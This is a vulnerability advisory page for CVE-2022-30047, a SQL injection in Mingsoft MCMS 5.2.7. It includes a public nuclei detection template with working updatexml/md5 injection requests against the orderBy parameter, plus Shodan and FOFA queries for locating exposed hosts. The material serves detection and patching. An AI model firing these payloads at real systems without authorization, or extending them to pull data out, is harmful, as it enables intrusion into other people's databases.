CVE-2022-30047: Mingsoft MCMS 5.2.7 - SQL Injection

2026-11-13 PoC Public

Description

Mingsoft MCMS 5.2.7 contains a SQL injection vulnerability in the /mdiy/dict/listExcludeApp endpoint via the orderBy parameter. An unauthenticated attacker can inject SQL (spaces can be bypassed with /**/ comments) and extract or modify data. This is the same endpoint and parameter as CVE-2022-25125 (MCMS 5.2.4), reported against 5.2.7 and fixed in 5.2.8 according to Snyk. Detection uses an error-based updatexml/md5 payload consistent with the official CVE-2022-25125 nuclei template.

Details

CVE
CVE-2022-30047 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2022-30047

info:
  name: Mingsoft MCMS 5.2.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Mingsoft MCMS 5.2.7 contains a SQL injection vulnerability in the /mdiy/dict/listExcludeApp endpoint via the orderBy parameter. An unauthenticated attacker can inject SQL (spaces can be bypassed with /**/ comments) and extract or modify data. This is the same endpoint and parameter as CVE-2022-25125 (MCMS 5.2.4), reported against 5.2.7 and fixed in 5.2.8 according to Snyk. Detection uses an error-based updatexml/md5 payload consistent with the official CVE-2022-25125 nuclei template.
  impact: |
    An unauthenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data modification.
  remediation: |
    Upgrade Mingsoft MCMS to version 5.2.8 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30047
    - https://gitee.com/mingSoft/MCMS/issues/I54VLM
    - https://security.snyk.io/vuln/SNYK-JAVA-NETMINGSOFT-2823315
    - https://www.rapid7.com/db/vulnerabilities/cve-2022-30047/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-30047
    cwe-id: CWE-89
    epss-score: 0.01472
    epss-percentile: 0.74155
    cpe: cpe:2.3:a:mingsoft:mcms:5.2.7:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: mingsoft
    product: mcms
    shodan-query: http.favicon.hash:1464851260
    fofa-query: icon_hash="1464851260"
  tags: cve,cve2022,sqli,mcms,mingsoft,vkev

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1"
      - "{{BaseURL}}/mdiy/dict/listExcludeApp.do?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1"

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25"
# digest: 4a0a00473045022026e0f6985b25c12967602ae1fd20bd5af676e0296d3bee5bd1ab1c57ba0bef1402210091318b968407c0d50a7e5800c2b9bdd7bb3c9ef9623cdd32cbee5094526a2925:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life